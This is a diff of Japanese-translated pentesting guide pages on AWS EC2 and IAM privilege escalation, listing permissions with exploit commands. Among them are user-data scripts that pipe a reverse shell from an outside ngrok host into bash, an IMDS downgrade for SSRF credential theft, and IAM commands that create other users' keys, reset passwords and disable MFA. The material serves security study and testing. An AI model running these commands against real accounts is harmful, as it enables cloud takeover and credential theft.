|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,21 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
もし**instance profile has a role**で、attackerが**cannot remove it**場合、別の回避策がある。
|
||||
もし**instance profile has a role**で、攻撃者がそれを**cannot remove it**なら、別の回避策があります。攻撃者は**find**で**instance profile without a role**を見つけるか、`iam:CreateInstanceProfile`で**create a new one**し、前述のようにその**instance profile**に**add**で**role**を付与し、そして**associate the instance profile** compromised to a compromised i**nstance**:
|
||||
|
||||
attackerは**find**して**instance profile without a role**を見つけるか、**create a new one**（`iam:CreateInstanceProfile`）、その**role**をその**instance profile**に**add**し（前述の通り）、そしてその**instance profile**をcompromisedなi**nstance**に**associate the instance profile**できる：
|
||||
|
||||
- もしインスタンスが**doesn't have any instance** profileの場合（`ec2:AssociateIamInstanceProfile`）
|
||||
- インスタンスが **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**潜在的影響:** Direct privesc to a different EC2 role (既に AWS EC2 インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要です)。
|
||||
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を侵害しており、追加の権限または特定の instance profile の状態が必要）。
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
|
||||
これらの権限があれば、インスタンスに関連付けられた instance profile を変更できるため、攻撃者が既にインスタンスにアクセスしている場合、関連付けを変更してより多くの instance profile ロールの資格情報を窃取できる。
|
||||
|
||||
- もしインスタンスに**インスタンスプロファイルがある**場合、インスタンスプロファイルを**削除**（`ec2:DisassociateIamInstanceProfile`）し、別のものを**関連付け**（`ec2:AssociateIamInstanceProfile`）できます。
|
||||
- インスタンスが **instance profile** を持っている場合、`ec2:DisassociateIamInstanceProfile` でその instance profile を **削除** し、`ec2:AssociateIamInstanceProfile` で別のものを **関連付ける** ことができます。
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
@@ -104,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を侵害しており、追加の権限または特定の instance profile の状態が必要）。
|
||||
**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 インスタンスを既に侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要）。
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\
|
||||
インスタンスが起動すると、攻撃者は **steal the IAM role** することができます。
|
||||
権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**user data** に **rev shell** を含む **EC2 Role attached** な **Spot Instance** を **request** できます。\
|
||||
インスタンスが起動すると、攻撃者は **steal the IAM role** ことができます。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -121,10 +119,10 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
**`ec2:ModifyInstanceAttribute`** を持つ攻撃者はインスタンスの属性を変更できます。
|
||||
その中で、**change the user data**ことができ、これによりインスタンスに**run arbitrary data.**を実行させることが可能になります。これは**rev shell to the EC2 instance**を取得するために利用できます。
|
||||
攻撃者が **`ec2:ModifyInstanceAttribute`** を持っていると、インスタンスの属性を変更できます。
|
||||
その中で、**change the user data** が可能であり、それによりインスタンスに **run arbitrary data.** を実行させることができます。これを使って **rev shell to the EC2 instance** を取得できます。
|
||||
|
||||
属性はインスタンスが停止している間にのみ**変更可能**である点に注意してください。そのため、**権限**として**`ec2:StopInstances`**と**`ec2:StartInstances`**が必要です。
|
||||
属性はインスタンスが停止している間にしか **modified while the instance is stopped** できない点に注意してください。したがって、**permissions** として **`ec2:StopInstances`** および **`ec2:StartInstances`** が必要です。
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -161,11 +159,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**潜在的な影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc.
|
||||
**潜在的影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc。
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成し、**rev shell in** を **user data** に組み込み、**any EC2 IAM Role on it** を割り当ててデフォルトバージョンを変更できます。さらに、**any Autoscaler group** **using** that **Launch Templat**e は **configured** が **latest** または **default version** を使用するように設定されている場合、当該テンプレートを使ってインスタンスを**re-run the instances** し、rev shell を実行します。
|
||||
権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**新しい Launch Template バージョン** を作成し、**rev shell を含む** **user data** と **それに付与された任意の EC2 IAM Role** を設定してデフォルトバージョンを変更できます。さらに、当該テンプレートを **latest** または **default version** を使用するように **構成されている** **任意の Autoscaler group** は、そのテンプレートを使用して **instances を再作成** し、rev shell を実行します。
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -179,11 +177,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**潜在的影響:** 別の EC2 role への直接的な privesc。
|
||||
**影響の可能性:** 別の EC2 role への直接的な privesc.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**Launch Configuration** を **IAM Role** と **rev shell** を **user data** に含めて作成し、その設定から **autoscaling group** を作成して rev shell が **IAM Role を奪取**するのを待つことができます。
|
||||
これらの権限（**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**）を持つ攻撃者は、**Launch Configuration を作成**して**IAM Role** を割り当て、**user data** 内に **rev shell** を入れ、そこから **autoscaling group を作成**して rev shell が **IAM Role を奪う** のを待つことができます。
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -199,15 +197,15 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**潜在的影響:** 別の EC2 role への直接 privesc。
|
||||
**潜在的な影響:** 別の EC2 ロールへの直接的な privesc。
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
パーミッションの組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** **だけでは IAM role への権限昇格はできません**。なぜなら、Launch Configuration や Launch Template に指定された role をアタッチするには **`iam:PassRole`and `ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。
|
||||
権限の組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** だけでは IAM ロールへの権限昇格は**不十分**です。というのも、Launch Configuration や Launch Template に指定されたロールをアタッチするには **`iam:PassRole`** と **`ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
パーミッション **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーに ssh キーを追加し、それを使ってインスタンスにアクセス（攻撃者がそのインスタンスへの ssh アクセスを持っている場合）したり、権限昇格に利用したりできます。
|
||||
権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーに ssh キーを追加し（インスタンスへの ssh アクセス権がある場合）それを使ってアクセスしたり、権限を昇格したりできます。
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
@@ -218,9 +216,9 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
この権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、シリアル接続に **ssh キーを追加する** ことができます。シリアルが有効になっていない場合、攻撃者はそれを有効化するために **`ec2:EnableSerialConsoleAccess`** の権限が必要です。
|
||||
権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**serial connection に ssh key を追加できる**。もし serial が有効になっていない場合、攻撃者はそれを有効にするために権限 **`ec2:EnableSerialConsoleAccess`** を必要とする。
|
||||
|
||||
シリアルポートに接続するには、マシン内部のユーザーのユーザー名とパスワードを**知っている必要がある**。
|
||||
serial port に接続するには、マシン内のユーザの **username と password を知っている必要がある**。
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -234,11 +232,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privescにはあまり有用ではありません。
|
||||
|
||||
**Potential Impact:**（非常に立証困難）稼働中のインスタンスにアタッチされたEC2 IAM rolesへの直接的なprivesc。
|
||||
**潜在的な影響:**（非常に立証困難）実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
launch templatesはバージョニングを持つため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、user dataに含まれる資格情報などの機密情報を発見するためにこれらを悪用できます。この目的を達成するため、以下のスクリプトは利用可能なlaunch templatesの全バージョンをループします：
|
||||
launch templates にはバージョニングがあるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、user data に含まれる資格情報などの機密情報を発見するためにこれらを悪用することができます。これを実行するために、以下のスクリプトは利用可能な launch templates のすべてのバージョンをループします:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -251,13 +249,13 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
上記のコマンドでは特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。
|
||||
上のコマンドでは、特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。
|
||||
|
||||
仮に `aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの認証情報を使って AWS に認証できます。
|
||||
もし `aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使って AWS に認証できます。
|
||||
|
||||
**潜在的影響:** IAM user(s) への直接的な権限昇格。
|
||||
**潜在的な影響:** IAM ユーザーへの直接的な権限昇格。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
@@ -267,10 +265,10 @@ done
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
被害対象の EC2 インスタンス上で `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDS の保護を弱めるために IMDSv1 を有効化（`HttpTokens=optional`）し、`HttpPutResponseHopLimit` を増加させることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路経由で instance metadata endpoint に到達できるようになります。攻撃者がそのようなアプリで SSRF を誘発できれば、instance profile の認証情報を取得して pivot することが可能です。
|
||||
被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDS の保護を弱め、IMDSv1（`HttpTokens=optional` を有効化）にし、`HttpPutResponseHopLimit` を増やすことができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路を介してインスタンスメタデータのエンドポイントにアクセスできるようになります。攻撃者がそのようなアプリで SSRF を発生させられれば、インスタンスプロファイルの資格情報を取得してそれらで踏み台にできます。
|
||||
|
||||
- Required permissions: 対象インスタンスでの `ec2:ModifyInstanceMetadataOptions` （およびホストに到達/SSRF を発生させる能力）。
|
||||
- Target resource: 実行中の EC2 インスタンスで、attached instance profile (IAM role) が割り当てられているもの。
|
||||
- 必要な権限: 対象インスタンスに対する `ec2:ModifyInstanceMetadataOptions`（およびホストに対して SSRF を到達/トリガーする能力）。
|
||||
- 対象リソース: インスタンスプロファイル（IAM role）がアタッチされた稼働中の EC2 インスタンス。
|
||||
|
||||
Commands example:
|
||||
```bash
|
||||
@@ -299,11 +297,11 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 role の権限での privilege escalation および lateral movement を引き起こす可能性があります。
|
||||
潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 role permissions を用いた privilege escalation と lateral movement が発生する可能性があります。
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
ec2:ModifyInstanceMetadataOptions permission を持つ攻撃者は、Instance Metadata Service (IMDS) の保護を弱めることができます — 例えば IMDSv1 を強制して HttpTokens を必須でなくしたり、HttpPutResponseHopLimit を増やしたりすることで — これにより一時的な認証情報の外部持ち出しが容易になります。最も関連性の高いリスクベクターは HttpPutResponseHopLimit の引き上げです: その hop limit (TTL) を増やすことで、169.254.169.254 エンドポイントが VM のネットワーク名前空間に厳密に制限されなくなり、他のプロセス/コンテナから到達可能になって認証情報の窃取を可能にします。
|
||||
ec2:ModifyInstanceMetadataOptions 権限を持つ攻撃者は、Instance Metadata Service (IMDS) の保護を弱めることができます — 例えば IMDSv1 を強制して HttpTokens を不要にしたり、HttpPutResponseHopLimit を増加させたりすることで — これにより temporary credentials の exfiltration が容易になります。最も関連性の高いリスクベクターは HttpPutResponseHopLimit を上げることです: この hop limit (TTL) を増やすと、169.254.169.254 エンドポイントが VM の network namespace に厳密に限定されなくなり、他のプロセス/コンテナから到達可能になって credential theft を可能にします。
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
@@ -313,13 +311,13 @@ aws ec2 modify-instance-metadata-options \
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
ec2:ModifyImageAttribute および ec2:ModifySnapshotAttribute の権限を持つ攻撃者は、AMIs や snapshots を他の AWS アカウントと共有したり（公開することさえ）でき、設定、資格情報、証明書、バックアップなどの機密データを含む可能性のあるイメージやボリュームを露出させる恐れがあります。AMI の launch permissions や snapshot の create-volume permissions を変更することで、攻撃者は第三者がそれらのリソースからインスタンスを起動したりディスクをマウントして内容にアクセスできるようにします。
|
||||
ec2:ModifyImageAttribute と ec2:ModifySnapshotAttribute の権限を持つ攻撃者は、AMIs や snapshots を他の AWS アカウントと共有したり（場合によっては公開したり）することで、設定、認証情報、証明書、バックアップなどの機密データを含み得るイメージやボリュームを露出させる可能性があります。AMI の launch permissions や snapshot の create-volume permissions を変更することで、攻撃者は第三者にこれらのリソースからインスタンスを起動させたりディスクをマウントしてその内容にアクセスさせることができます。
|
||||
|
||||
To share an AMI with another account:
|
||||
AMI を別のアカウントと共有するには:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
EBS snapshot を別のアカウントと共有するには:
|
||||
EBS スナップショットを別のアカウントと共有するには:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAMの詳細は次を参照してください:
|
||||
IAM の詳細については次を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,78 +12,78 @@ IAMの詳細は次を参照してください:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
新しいIAMポリシーバージョンを作成する能力を付与します。`--set-as-default` フラグを使用することで、`iam:SetDefaultPolicyVersion` 権限を必要とせずにデフォルトに設定できます。これによりカスタム権限を定義できます。
|
||||
新しい IAM ポリシーバージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限をバイパスしてデフォルトに設定でき、カスタムの権限を定義可能です。
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**影響:** 直接的に権限を昇格させ、任意のリソースに対する任意のアクションを許可します。
|
||||
**影響:** 任意のリソースに対して任意のアクションを実行できるようにすることで、直接的に権限を昇格させます。
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
IAM policy のデフォルトバージョンを別の既存バージョンに変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
|
||||
既存の別バージョンにIAMポリシーのデフォルトバージョンを変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
|
||||
|
||||
**Bash コマンド:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**影響:** より多くの権限を有効にすることで間接的に privilege escalation を引き起こす。
|
||||
**影響:** 間接的な privilege escalation — より多くの権限を有効にすることで発生します。
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性がある。
|
||||
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性があります。
|
||||
|
||||
**悪用:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** 他のユーザーの拡張権限を引き受けることで、直接的な privilege escalation が可能になります。
|
||||
**影響:** 別ユーザーの拡張権限を利用して直接的に権限昇格を引き起こす。
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
ログインプロファイルの作成・更新（AWSコンソールログイン用のパスワード設定を含む）を許可し、直接的な privilege escalation を引き起こします。
|
||||
ログインプロファイルの作成や更新（AWS コンソールログイン用のパスワード設定を含む）を許可し、これにより直接的な権限昇格につながる。
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**更新のための Exploit:**
|
||||
**Exploit（更新用）:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** "any" ユーザーとしてログインすることで直接的に権限昇格が可能。
|
||||
**Impact:** 「任意」のユーザーとしてログインすることで直接的な特権昇格。
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
無効化された access key を再び有効化できる。攻撃者がその無効化された access key を所持している場合、不正アクセスを招く可能性がある。
|
||||
無効化された access key を再度有効化できるため、攻撃者がその無効なキーを所持している場合、不正アクセスにつながる可能性がある。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**影響:** access keys を再有効化することによる直接的な権限昇格。
|
||||
**Impact:** 直接的な権限昇格（access keys を再有効化することで）。
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
特定の AWS サービス（例: CodeCommit、Amazon Keyspaces）向けの認証情報を生成またはリセットすることを許可し、関連ユーザーの権限を継承します。
|
||||
特定の AWS サービス（例: CodeCommit、Amazon Keyspaces）向けの認証情報を生成またはリセットできるようにし、関連付けられたユーザーの権限を継承します。
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**リセット用Exploit:**
|
||||
**リセット用エクスプロイト:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impact:** ユーザーのサービス権限範囲内での直接的な権限昇格。
|
||||
**Impact:** ユーザーのサービス権限内での直接的な権限昇格。
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
ユーザーやグループにポリシーをアタッチでき、アタッチされたポリシーの権限を継承して直接的に権限を昇格させることができます。
|
||||
ユーザーまたはグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
@@ -93,17 +93,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**影響:** ポリシーが付与するあらゆる権限への直接的な privilege escalation。
|
||||
**Impact:** ポリシーが付与する任意の権限へ直接昇格可能。
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
ロール、ユーザー、グループに対してポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的な privilege escalation を可能にします。
|
||||
ロール、ユーザー、グループにポリシーをアタッチ／設定でき、追加権限を付与して直接的な権限昇格を可能にします。
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Inline PoliciesのExploit:**
|
||||
**インラインポリシーの悪用:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**影響:** ポリシーを通じて権限を追加することで発生する直接的な権限昇格。
|
||||
**影響:** ポリシーを通じて権限を追加することで直接的な権限昇格を引き起こす。
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
自身を IAM グループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。
|
||||
自分を IAM グループに追加できるようにし、グループの権限を継承することで権限が昇格する。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**影響:** グループの権限レベルへの直接的な権限昇格。
|
||||
**Impact:** グループの権限と同等のレベルまで直接的に権限を昇格させることができる。
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
ロールの assume role policy document を変更できる権限を与え、そのロールおよび関連する権限を引き受け（assume）可能にします。
|
||||
ロールの assume role policy ドキュメントを変更できるため、そのロールとその関連権限を引き受けられるようになる。
|
||||
|
||||
**悪用:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
ポリシーが次のようになっており、ユーザーにそのロールを引き受ける権限を付与している場合：
|
||||
ポリシーが次のようになっており、ユーザーにロールを引き受ける許可を与えている場合：
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,38 +163,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** 任意のロールの権限を引き受けることで直接的な権限昇格が可能になる。
|
||||
**影響:** 任意のロールの権限を引き継ぐことで、直接的な権限昇格が可能になります。
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
SSH公開鍵をアップロードして CodeCommit に対して認証を行ったり、MFAデバイスを無効化したりすることを許可し、結果として間接的な権限昇格につながる可能性があります。
|
||||
CodeCommit に対する認証用の SSH 公開鍵のアップロードと、MFA デバイスの無効化を許可し、結果的に間接的な権限昇格を招く可能性があります。
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**MFAを無効化するためのエクスプロイト：**
|
||||
**MFA無効化のExploit:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**影響:** CodeCommit へのアクセスを有効化したり、MFA 保護を無効化したりすることで、間接的な特権昇格を引き起こす可能性があります。
|
||||
**影響:** CodeCommit へのアクセスを有効にしたり、MFA 保護を無効にしたりすることで、間接的な privilege escalation が発生する可能性があります。
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
MFA デバイスの再同期を許可し、MFA 保護の操作により間接的な特権昇格を招く可能性があります。
|
||||
MFA デバイスの再同期を許可します。MFA 保護を操作することで、間接的な privilege escalation を引き起こす可能性があります。
|
||||
|
||||
**Bash コマンド:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** MFA devices を追加または操作することでの間接的な権限昇格。
|
||||
**Impact:** MFAデバイスの追加または操作による間接的な特権昇格。
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
これらの権限があれば、**SAML 接続の XML メタデータを変更する**ことができます。 その後、**SAML federation** を悪用して、これを信頼している任意の **role** で **login** することができます。
|
||||
これらの権限があれば、**SAML connectionのXMLメタデータを変更する**ことができます。そうすると、**SAML federation**を悪用して、**それを信頼している任意のrole**で**login**することができます。
|
||||
|
||||
ただし、こうすると **正規のユーザーは login できなくなる** 点に注意してください。 しかし、XML を取得できるため、自分のものを差し替えて **login** し、以前の設定を元に戻すように再構成することができます。
|
||||
ただし、これを行うと**正規のユーザーはloginできなくなります**。とはいえ、XMLを取得できるので、自分のものを入れてloginし、以前の設定に戻すように構成することが可能です。
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: SAML メタデータを生成し、指定した role でログインできるツール
|
||||
> TODO: 指定したロールでログインできる SAML metadata を生成するツール
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
（未確認）もし attacker がこれらの **permissions** を持っていれば、provider を信頼するすべての roles にログインできるように新しい **Thumbprint** を追加できる可能性があります。
|
||||
(確かではない) 攻撃者がこれらの**権限**を持っている場合、新しい**Thumbprint**を追加してプロバイダーを信頼するすべてのロールにログインできるようにする可能性がある。
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
この権限により、攻撃者はユーザーの permissions boundary を更新できるため、通常は既存の権限で制限されている操作を実行できるようになり、権限がエスカレートする可能性があります。
|
||||
